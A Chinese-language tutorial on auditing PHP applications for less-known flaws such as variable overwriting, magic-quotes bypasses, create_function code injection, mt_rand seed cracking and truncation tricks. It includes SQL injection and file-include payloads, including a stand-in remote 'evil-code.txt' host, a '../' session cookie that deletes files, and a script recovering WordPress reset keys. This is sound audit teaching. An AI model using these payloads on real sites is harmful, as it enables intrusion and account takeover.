# 高级 PHP 应用程序漏洞审核技术


- 高级 PHP 应用程序漏洞审核技术
  - 前言
  - 传统的代码审计技术
  - PHP 版本与应用代码审计
  - 其他的因素与应用代码审计
  - 扩展我们的字典
    - 变量本身的 key
    - 变量覆盖
      - 遍历初始化变量
      - parse_str()变量覆盖漏洞
      - import_request_variables()变量覆盖漏洞
      - PHP5 Globals
    - magic_quotes_gpc 与代码安全
      - 什么是 magic_quotes_gpc
      - 哪些地方没有魔术引号的保护
      - 变量的编码与解码
      - 二次攻击
      - 魔术引号带来的新的安全问题
      - 变量 key 与魔术引号
    - 代码注射
      - PHP 中可能导致代码注射的函数
      - 变量函数与双引号
    - PHP 自身函数漏洞及缺陷
      - PHP 函数的溢出漏洞
      - PHP 函数的其他漏洞
      - session_destroy()删除文件漏洞
      - 随机函数
    - 特殊字符
      - 截断
        - include 截断
        - 数据截断
        - 文件操作里的特殊字符
  - 怎么进一步寻找新的字典
  - DEMO
  - 后话
  - 附录


## 前言

PHP 是一种被广泛使用的脚本语言，尤其适合于 web 开发。具有跨平台，容易学习，功能强大等特点，据统计全世界有超过 34%的网站有 php 的应用，包括 Yahoo、sina、163、sohu 等大型门户网站。而且很多具名的 web 应用系统（包括 bbs,blog,wiki,cms 等等）都是使用 php 开发的，Discuz、phpwind、phpbb、vbb、wordpress、boblog 等等。随着 web 安全的热点升级，php 应用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过 n 遍的代码，有很多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在这里需要感谢他们 ：）

# 传统的代码审计技术

WEB 应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过 n 次变量转换传递，最终传递给目标函数执行，还记得 MS 那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输入”理解为只是 gpc[$_GET,$_POST,$_COOKIE]，但是变量在传递过程产生了 n 多的变化。导致很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。

PHP 代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致安全漏洞的危险函数，常用的如 grep，findstr 等搜索工具，很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。

其他的方法有：通过修改 PHP 源代码来分析变量流程，或者 hook 危险的函数来实现对应用程序代码的审核，但是这些也依靠了我们上面提到的字典。

# PHP 版本与应用代码审计

到目前为止，PHP 主要有 3 个版本：php4、php5、php6，使用比例大致如下：

| | | |
|---|---|---|
| php4 | 68% | 2000-2007，No security fixes after 2008/08，最终版本是 php4.4.9 |
| php5 | 32% | 2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!） |
| php6 | | 目前还在测试阶段，变化很多做了大量的修改，取消了很多安全选项如 magic_quotes_gpc（这个不是今天讨论的范围） |

由于 php 缺少自动升级的机制，导致目前 PHP 版本并存，也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行 WEB 应用程序代码审计的重点对象，也是我们字典重要来源。

# 其他的因素与应用代码审计

很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素有关系，比如上面我们谈到的 PHP 版本的问题，比较重要的还有操作系统类型（主要是两大阵营 win/*nix），WEB 服务端软件（主要是 iis/apache 两大类型）等因素。这是由于不同的系统不同的 WEB SERVER 有着不同的安全特点或特性，下文有些部分会涉及。

所以我们在做某个公司 WEB 应用代码审计时，应该了解他们使用的系统，WEB 服务端软件，PHP 版本等信息。

# 扩展我们的字典

下面将详细介绍一些非传统 PHP 应用代码审计一些漏洞类型和利用技巧。

## 变量本身的 key

说到变量的提交很多人只是看到了 GET/POST/COOKIE 等提交的变量的值，但是忘记了有的程序把变量本身的 key 也当变量提取给函数处理。

```
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
  foreach ($_GET AS $key => $value)
{
            print $key."\n";
}
?>
```

上面的代码就提取了变量本身的 key 显示出来，单纯对于上面的代码，如果我们提交 URL：

key.php?<script>alert(1);</script>=1&bbb=2

那么就导致一个 xss 的漏洞，扩展一下如果这个 key 提交给 include()等函数或者 sql 查询呢？：）

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无 |

审计策略：通读代码

## 变量覆盖

很多的漏洞查找者都知道 extract()这个函数在指定参数为 EXTR_OVERWRITE 或者没有指定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：

### 遍历初始化变量

请看如下代码：

```
<?php
//var.php?a=fuck
$a='hi';
foreach($_GET as $key => $value) {
            $$key = $value;
}
print $a;
?>
```

很多的 WEB 应用都使用上面的方式（注意循环不一定是 foreach），如 Discuz!4.1 的 WAP 部分的代码：

```
$chs = '';
if($_POST && $charset != 'utf-8') {
            $chs = new Chinese('UTF-8', $charset);
            foreach($_POST as $key => $value) {
                        $$key = $chs->Convert($value);
            }
            unset($chs);
```

**漏洞审计策略**

PHP 版本要求：无
系统要求：无
审计策略：通读代码

### parse_str()变量覆盖漏洞

```
//var.php?var=new
$var = 'init';
parse_str($_SERVER['QUERY_STRING']);
print $var;
```

该函数一样可以覆盖数组变量，上面的代码是通过$_SERVER'QUERY_STRING'来提取变量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：

```
//var.php?var=1&a[1]=var1%3d222
$var1 = 'init';
parse_str($a[$_GET['var']]);
print $var1;
```

上面的代码通过提交$var 来实现对$var1 的覆盖。

| 漏洞审计策略（parse_str） |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找字符 parse_str |

| 漏洞审计策略（mb_parse_str） |
| --- |
| PHP 版本要求：php4<4.4.7 php5<5.2.2<br>系统要求：无<br>审计策略：查找字符 mb_parse_str |

## import_request_variables()变量覆盖漏洞

```
//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
```

| 漏洞审计策略（import_request_variables） |
| --- |
| PHP 版本要求：php4<4.4.1 php5<5.2.2<br>系统要求：无<br>审计策略：查找字符 import_request_variables |

## PHP5 Globals

从严格意义上来说这个不可以算是 PHP 的漏洞，只能算是一个特性，测试代码：

```
<?
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
php echo $foobar;
?>
```

但是很多的程序没有考虑到这点，请看如下代码：

```
//为了安全取消全局变量
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
```

如果熟悉 WEB2.0 的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行 crsf 攻击。

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：通读代码 |

# magic_quotes_gpc 与代码安全

## 什么是 magic_quotes_gpc

当打开时，所有的 '（单引号），"（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、mysql_real_escape_string()等，另外还有 parse_str()后的变量也受 magic_quotes_gpc 的影响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是就在他们放弃的同时也放过很多致命的安全漏洞。 ：）

### 哪些地方没有魔术引号的保护

#### 1) $_SERVER 变量

PHP5 的$_SERVER 变量缺少 magic_quotes_gpc 的保护，导致近年来 X-Forwarded-For 的漏洞猛暴，所以很多程序员考虑过滤 X-Forwarded-For，但是其他的变量呢？

| 漏洞审计策略（$_SERVER 变量） |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找字符_SERVER |

#### 2) getenv()得到的变量（使用类似$_SERVER 变量）

| 漏洞审计策略（getenv()） |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找字符 getenv |

### 3) $HTTP_RAW_POST_DATA 与 PHP 输入、输出流

主要应用与 soap/xmlrpc/webpublish 功能里，请看如下代码：

```
if ( !isset( $HTTP_RAW_POST_DATA ) ) {
            $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}
if ( isset($HTTP_RAW_POST_DATA) )
            $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
```

| 漏洞审计策略（数据流） |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找字符 HTTP_RAW_POST_DATA 或者 php://input |

### 4) 数据库操作容易忘记'的地方如：in()/limit/order by/group by

如 Discuz!<5.0 的 pm.php：

```
if(is_array($msgtobuddys)) {
            $msgto = array_merge($msgtobuddys, array($msgtoid));
                        ......
foreach($msgto as $uid) {
            $uids .= $comma.$uid;
            $comma = ',';
}
......
$query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
            LEFT JOIN {$tablepre}memberfields mf USING(uid)
            WHERE m.uid IN ($uids)");
```

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找数据库操作字符（select,update,insert 等等） |

## 变量的编码与解码

一个 WEB 程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。

这个类型的主要函数有：

**1) stripslashes() 这个其实就是一个 decode-addslashes()**

**2) 其他字符串转换函数：**

| | |
|---|---|
| base64_decode | 对使用 MIME base64 编码的数据进行解码 |
| base64_encode | 使用 MIME base64 对数据进行编码 |
| rawurldecode | 对已编码的 URL 字符串进行解码 |
| rawurlencode | 按照 RFC 1738 对 URL 进行编码 |
| urldecode | 解码已编码的 URL 字符串 |
| urlencode | 编码 URL 字符串 |
| ... | ... |

*另外一个 unserialize/serialize*

**3) 字符集函数（GKB,UTF7/8...）如 iconv()/mb_convert_encoding()等**

目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的 urldecode：

```
$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
```

当 magic_quotes_gpc=on 时，我们提交?id=%2527，得到 sql 语句为：

```
SELECT * FROM article WHERE articleid='''
```

| 漏洞审计策略 |
|---|
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找对应的编码函数 |

## 二次攻击

*详细见附录[1]*

**1)数据库出来的变量没有进行过滤**

**2)数据库的转义符号：**

- mysql/oracle 转义符号同样是\(我们提交'通过魔术引号变化为\'，当我们 update 进入数据库时，通过转义变为')
- mssql 的转义字符为'（所以我们提交'通过魔术引号变化为\'，mssql 会把它当为一个字符串直接处理，所以魔术引号对于 mssql 的注射没有任何意义）

从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击我们可以实现一个 webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个 vul?

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：通读代码 |

## 魔术引号带来的新的安全问题

首先我们看下魔术引号的处理机制：

```
[\-->\\,'-->\',"-->\",null-->\0]
```

这给我们引进了一个非常有用的符号“\”，“\”符号不仅仅是转义符号，在 WIN 系统下也是目录转跳的符号。这个特点可能导致 php 应用程序里产生非常有意思的漏洞：

**1)得到原字符（',\,",null]）**

```
$order_sn=substr($_GET['order_sn'], 1);

//提交                          '
//魔术引号处理              \'
//substr                        '

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
     " shipping_time, shipping_id, invoice_no, user_id ".
     " FROM " . $ecs->table('order_info').
     " WHERE order_sn = '$order_sn' LIMIT 1";
```

**2)得到“\”字符**

```
$order_sn=substr($_GET['order_sn'], 0,1);

//提交                          '
//魔术引号处理              \'
//substr                       \

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
     " shipping_time, shipping_id, invoice_no, user_id ".
     " FROM " . $ecs->table('order_info').
     " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
```

提交内容：

```
?order_sn='&order_tn=%20and%201=1/*
```

执行的 SQL 语句为：

```
SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
order_tn=' and 1=1/*'
```

| **漏洞审计策略** |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找字符串处理函数如 substr 或者通读代码 |

## 变量 key 与魔术引号

我们最在这一节的开头就提到了变量 key，PHP 的魔术引号对它有什么影响呢？

```
<?php
//key.php?aaaa'aaa=1&bb'b=2
//print_R($_GET);
  foreach ($_GET AS $key => $value)
            {
            print $key."\n";
            }
?>
```

**1)当 magic_quotes_gpc = On 时，在 php5.24 下测试显示：**

```
aaaa\'aaa
bb\'b
```

从上面结果可以看出来，在设置了 magic_quotes_gpc = On 下，变量 key 受魔术引号影响。但是在 php4 和 php<5.2.1 的版本中，不处理数组第一维变量的 key，测试代码如下：

```
<?php
//key.php?aaaa'aaa[bb']=1
print_R($_GET);
?>
```

结果显示:

```
Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )
```

数组第一维变量的 key 不受魔术引号的影响。

| 漏洞审计策略 |
| --- |
| PHP 版本要求：php4 和 php<5.2.1<br>系统要求：无<br>审计策略：通读代码 |

**2)当 magic_quotes_gpc = Off 时，在 php5.24 下测试显示：**

```
aaaa'aaa
bb'b
```

对于 magic_quotes_gpc = Off 时所有的变量都是不安全的，考虑到这个，很多程序都通过 addslashes 等函数来实现魔术引号对变量的过滤，示例代码如下：

```
<?php
//keyvul.php?aaa'aa=1'
//magic_quotes_gpc = Off
  if (!get_magic_quotes_gpc())
{
  $_GET    = addslashes_array($_GET);
}

function addslashes_array($value)
{
            return is_array($value) ? array_map('addslashes_array', $value) :
addslashes($value);
}
print_R($_GET);
foreach ($_GET AS $key => $value)
```

```
{
            print $key;
}
?>
```

以上的代码看上去很完美，但是他这个代码里 addslashes($value)只处理了变量的具体的值，但是没有处理变量本身的 key，上面的代码显示结果如下：

```
Array
(
      [aaa'aa] => 1\'
)
aaa'aa
```

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：通读代码 |

## 代码注射

### PHP 中可能导致代码注射的函数

很多人都知道 eval、preg_replace+/e 可以执行代码，但是不知道 php 还有很多的函数可以执行代码如：

| |
| --- |
| assert() |
| call_user_func() |
| call_user_func_array() |
| create_function() |
| 变量函数 |
| ... |

这里我们看看最近出现的几个关于 create_function()代码执行漏洞的代码：

```
<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
```

```
$databases=array('test','test');
$sort_function = '   return 1 * '. $sorter. '($a["'. $sort_by. '"], $b["'. $sort_by. '"]);
                    ';
usort($databases, create_function('$a, $b', $sort_function));
```

**漏洞审计策略**

PHP 版本要求：无
系统要求：无
审计策略：查找对应函数（assert,call_user_func,call_user_func_array,create_function 等）

### 变量函数与双引号

对于单引号和双引号的区别，很多程序员深有体会，示例代码：

```
echo "$a\n";
echo '$a\n';
```

我们再看如下代码：

```
//how to exp this code
if($globals['bbc_email']){

$text = preg_replace(
                        array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
                                                    "/\[email\](.*?)\[\/email\]/ies"),
                        array('check_email("$1", "$2")',
                                                    'check_email("$1", "$1")'),
$text);
```

另外很多的应用程序都把变量用""存放在缓存文件或者 config 或者 data 文件里，这样很容易被人注射变量函数。

**漏洞审计策略**

PHP 版本要求：无
系统要求：无
审计策略：通读代码

## PHP 自身函数漏洞及缺陷

## PHP 函数的溢出漏洞

大家还记得 Stefan Esser 大牛的 Month of PHP Bugs（MOPB 见附录 2）项目么，其中比较有名的要算是 unserialize()，代码如下：

```
unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
```

在以往的 PHP 版本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的 PHP 版本信息。

| 漏洞审计策略 |
| --- |
| PHP 版本要求：对应 fix 的版本<br>系统要求：<br>审计策略：查找对应函数名 |

## PHP 函数的其他漏洞

Stefan Esser 大牛发现的漏洞：unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如 phpwind 早期的 serarch.php 里的代码：

```
unset($uids);
......
$query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
while($member=$db->fetch_array($query)){
            $uids .= $member['uid'].',';
}
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
........
$query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
```

| 漏洞审计策略 |
| --- |
| PHP 版本要求：php4<4.3 php5<5.14<br>系统要求：无<br>审计策略：查找 unset |

## session_destroy()删除文件漏洞

*测试PHP版本:5.1.2* 这个漏洞是几年前朋友saiy发现的，session_destroy()函数的功能是删除session文件，很多 web 应用程序的 logout 的功能都直接调用这个函数删除 session，但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下：

```
<?php
//val.php
session_save_path('./');
session_start();
if($_GET['del']) {
            session_unset();
            session_destroy();
}else{
            $_SESSION['hei']=1;
            echo(session_id());
            print_r($_SESSION);
}
?>
```

当我们提交构造 cookie:PHPSESSID=/../1.php，相当于 unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如 phpmyadmin，sablog，phpwind3 等等。

| 漏洞审计策略 |
| --- |
| PHP 版本要求：具体不详<br>系统要求：无<br>审计策略：查找 session_destroy |

## 随机函数

### 1) rand() VS mt_rand()

```
<?php
//on windows
print mt_getrandmax(); //2147483647
print getrandmax();// 32767
?>
```

可以看出 rand()最大的随机数是 32767，这个很容易被我们暴力破解。

```
<?php
$a= md5(rand());
for($i=0;$i<=32767;$i++){
   if(md5($i) ==$a ) {
     print $i."-->ok!!<br>";exit;
     }else { print $i."<br>";}
```

```
}
?>
```

当我们的程序使用 rand 处理 session 时，攻击者很容易暴力破解出你的 session，但是对于 mt_rand 是很难单纯的暴力的。

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：查找 rand |

### 2) mt_srand()/srand()-weak seeding（by Stefan Esser）

看 php 手册里的描述：

mt_srand
(PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子
说明
void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始，seed 参数变为可选项，当该项为空时，会被设为随时数。

例子 1. mt_srand() 范例

```
<?php
// seed with microseconds
function make_seed()
{
      list($usec, $sec) = explode(' ', microtime());
      return (float) $sec + ((float) $usec * 100000);
}
mt_srand(make_seed());
$randval = mt_rand();
?>
```

*注: 自 PHP 4.2.0 起，不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种，现已自动完成。*

php 从 4.2.0 开始实现了自动播种，但是为了兼容，后来使用类似于这样的代码播种：

```
mt_srand ((double) microtime() * 1000000)
```

但是使用(double)microtime()*1000000 类似的代码 seed 是比较脆弱的：

```
0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000
```

那么很容易暴力破解,测试代码如下：

```
<?php
/////////////////
//>php rand.php
//828682
//828682
///////////////
ini_set("max_execution_time",0);
$time=(double) microtime()* 1000000;
print $time."\n";
mt_srand ($time);

$search_id = mt_rand();
$seed = search_seed($search_id);
print $seed;
function search_seed($rand_num) {
$max = 1000000;
for($seed=0;$seed<=$max;$seed++){
            mt_srand($seed);
            $key = mt_rand();
            if($key==$rand_num) return $seed;
}
return false;
}
?>
```

从上面的代码实现了对 seed 的破解，另外根据 Stefan Esser 的分析 seed 还根据进程变化而变化，换句话来说同一个进程里的 seed 是相同的。 然后同一个 seed 每次 mt_rand 的值都是特定的。如下图：

| seed-A |
| --- |
| mt_rand-A-1<br>mt_rand-A-2<br>mt_rand-A-3 |
| seed-B |

```
mt_rand-B-1
mt_rand-B-2
mt_rand-B-3
```

对于 seed-A 里 mt_rand-1/2/3 都是不相等的，但是值都是特定的，也就是说当 seed-A 等于 seed-B，那么 mt_rand-A-1 就等于 mt_rand-B-1…，这样我们只要能够得到 seed 就可以得到每次 mt_rand 的值了。

对于 5.2.6>php>4.2.0 直接使用默认播种的程序也是不安全的（很多的安全人员错误的以为这样就是安全的），这个要分两种情况来分析：

第一种：'Cross Application Attacks'，这个思路在 Stefan Esser 文章里有提到，主要是利用其他程序定义的播种（如 mt_srand ((double) microtime()* 1000000)），phpbb+wordpree 组合就存在这样的危险.

第二种：5.2.6>php>4.2.0 默认播种的算法也不是很强悍，这是 Stefan Esser 的文章里的描述：

The Implementation
When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed.

在 32 位系统上默认的播种的种子为最大值是 2^32，这样我们循环最多 2^32 次就可以破解 seed。而在 PHP 4 和 PHP 5 <= 5.2.0 的算法有个 bug：奇数和偶数的播种是一样的（详见附录 3）,测试代码如下：

```
<?php
mt_srand(4);
$a = mt_rand();
mt_srand(5);
$b = mt_rand();
print $a."\n".$b;
?>
```

通过上面的代码发现$a==$b，所以我们循环的次数为 $2^{32/2=2}31$ 次。我们看如下代码：

```
<?php
//base on http://www.milw0rm.com/exploits/6421
//test on php 5.2.0

define('BUGGY', 1); //上面代码$a==$b 时候定义 BUGGY=1

$key = wp_generate_password(20, false);
```

```
echo $key."\n";
$seed = getseed($key);
print $seed."\n";

mt_srand($seed);
$pass = wp_generate_password(20, false);
echo $pass."\n";

function wp_generate_password($length = 12, $special_chars = true) {
            $chars =
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            if ( $special_chars )
                        $chars .= '!@#$%^&*()';

            $password = '';
            for ( $i = 0; $i < $length; $i++ )
                        $password .= substr($chars, mt_rand(0, strlen($chars) - 1),
1);
            return $password;
}

function getseed($resetkey) {
            $max = pow(2,(32-BUGGY));
            for($x=0;$x<=$max;$x++) {
                        $seed = BUGGY ? ($x << 1) + 1 : $x;
                        mt_srand($seed);
                        $testkey = wp_generate_password(20,false);
                        if($testkey==$resetkey) { echo "o\n"; return $seed; }

                        if(!($x % 10000)) echo $x / 10000;
            }
            echo "\n";
            return false;
}
?>
```

运行结果如下：

```
php5>php rand.php
M8pzpjwCrvVt3oobAaOr
01234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768 69
```

707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522.....0106211062210623106241062510626106271062810629106301063110632106333o70693pjwCrvVt3oobAaOr

当 10634 次时候我们得到了结果。

当 PHP 版本到了 5.2.1 后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致了 php5.2.0 前后导致同一个播种后的 mt_rand()的值不一样。比如：

```
<?php
mt_srand(42);
echo mt_rand();
//php<=5.20 1387371436
//php>5.20 1354439493
?>
```

正是这个原因，也要求了我们的 exp 的运行环境：当目标>5.20 时候，我们 exp 运行的环境也要是>5.20 的版本，反过来也是一样。

从上面的测试及分析来看，php<5.26 不管有没有定义播种，mt_rand 处理的数据都是不安全的。在 web 应用里很多都使用 mt_rand 来处理随机的 session，比如密码找回功能等等，这样的后果就是被攻击者恶意利用直接修改密码。

很多著名的程序都产生了类似的漏洞如 wordpress、phpbb、punbb 等等。（在后面我们将实际分析下国内著名的 bbs 程序 Discuz!的 mt_srand 导致的漏洞）

| 漏洞审计策略 |
| --- |
| PHP 版本要求：php4 php5<5.2.6<br>系统要求：无<br>审计策略：查找 mt_srand/mt_rand |

## 特殊字符

其实“特殊字符”也没有特定的标准定义，主要是在一些 code hacking 发挥着特殊重作用的一类字符。下面就举几个例子：

## 截断

其中最有名的数大家都熟悉的 null 字符截断。

### include 截断

```
<?php
include $_GET['action']."".php"";
?>
```

提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有其他的字符可以实现截断使用呢？肯定有人想到了远程包含的 url 里问号“?”的作用，通过提交“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”：），好象这个看上去不是那么舒服那么我们简单写个代码 fuzz 一下：

```
<?php
//////////////////
////var5.php 代码:
////include $_GET['action']."".php"";
////print strlen(realpath("./"))+strlen($_GET['action']);
//////////////////
ini_set('max_execution_time', 0);
$str='';
for($i=0;$i<50000;$i++)
{
            $str=$str."/";

            $resp=file_get_contents('http://127.0.0.1/var/var5.php?action=1.txt'.
$str);
            //1.txt 里的代码为 print 'hi';
            if (strpos($resp, 'hi') !== false){
                        print $i;
                        exit;
            }
}
?>
```

经过测试字符“.”、“ /”或者 2 个字符的组合，在一定的长度时将被截断，win 系统和*nix 的系统长度不一样，当 win 下 strlen(realpath("./"))+strlen($_GET['action'])的长度大于 256 时被截断，对于*nix

的长度是 4＊1024 = 4096。对于 php.ini 里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。（此漏洞由 cloie#ph4nt0m.org 最先发现]）

**数据截断**

对于很多 web 应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应用程序对于提交注册的 username 和数据库里已有的 username 对比是不是已经有重复数据，然而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数据。

### 1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛 Stefan Esser 发现的（Stefan Esser 是我的偶像:)），这个是由于 mysql 的 sql_mode 设置为 default 的时候，即没有开启 STRICT_ALL_TABLES 选项时，MySQL 对于插入超长的值只会提示 warning，而不是 error（如果是 error 就插入不成功），这样可能会导致一些截断问题。测试如下：

```
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");

mysql> insert into truncated_test(`username`,`password`)
values("admin                x", "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 1 | admin       | pass     |
| 2 | admin       | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
```

### 2) Mysql charset Truncation vulnerability

这个漏洞是 80sec 发现的，当 mysql 进行数据存储处理 utf8 等数据时对某些字符导致数据截断。测试如下：

```
mysql> insert into truncated_test(`username`,`password`)
values(concat("admin",0xc1), "new_pass2");
Query OK, 1 row affected, 1 warning (0.00 sec)

mysql> select * from truncated_test;
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
```

```
| 1 | admin          | pass         |
| 2 | admin          | new_pass     |
| 3 | admin          | new_pass2 |
+----+------------+----------+
2 rows in set (0.00 sec)
```

很多的 web 应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

```
$result = mysql_query("SELECT * from test_user where user='$user' ");
   ....
if(@mysql_fetch_array($result, MYSQL_NUM)) {
            die("already exist");
}
```

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：通读代码 |

**文件操作里的特殊字符**

文件操作里有很多特殊的字符，发挥特别的作用，很多 web 应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的 windows 系统文件名对“空格”和“.”等的忽视，这个主要体现在上传文件或者写文件上，导致直接写 webshell。另外对于 windows 系统对“.\..\”进行系统转跳等等。 下面还给大家介绍一个非常有意思的问题：

```
//Is this code vul?
if( eregi(".php",$url) ){
            die("ERR");
}
$fileurl=str_replace($webdb[www_url],"",$url);
.....
header('Content-Disposition: attachment; filename='.$filename);
```

很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了个 str_replace 替换$webdbwww_url 为空，那么我们提交“.p$webdbwww_urlhp”就可以饶过了。那么上面的代码杂 fix 呢？有人给出了如下代码：

```
$fileurl=str_replace($webdb[www_url],"",$url);
if( eregi(".php",$url) ){
            die("ERR");
}
```

str_replace 提到前面了，很完美的解决了 str_replace 代码的安全问题，但是问题不是那么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：

```
<?php
for($i=0;$i<255;$i++) {
            $url = '1.ph'.chr($i);
            $tmp = @file_get_contents($url);
            if(!empty($tmp)) echo chr($i).″\r\n″;
}
?>
```

我们在 windows 系统运行上面的代码得到如下字符* < > ? P p 都可以打开目录下的 1.php。

| 漏洞审计策略 |
| --- |
| PHP 版本要求：无<br>系统要求：无<br>审计策略：文读取件操作函数 |

# 怎么进一步寻找新的字典

上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一步找到新的字典或者利用方式呢？

- 分析和学习别人发现的漏洞或者 exp，总结出漏洞类型及字典
- 通过学习 php 手册或者官方文档,挖掘出新的有危害的函数或者利用方式
- fuzz php 的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的 4.6 的部分很多都可以简单的 fuzz 脚本可以测试出来
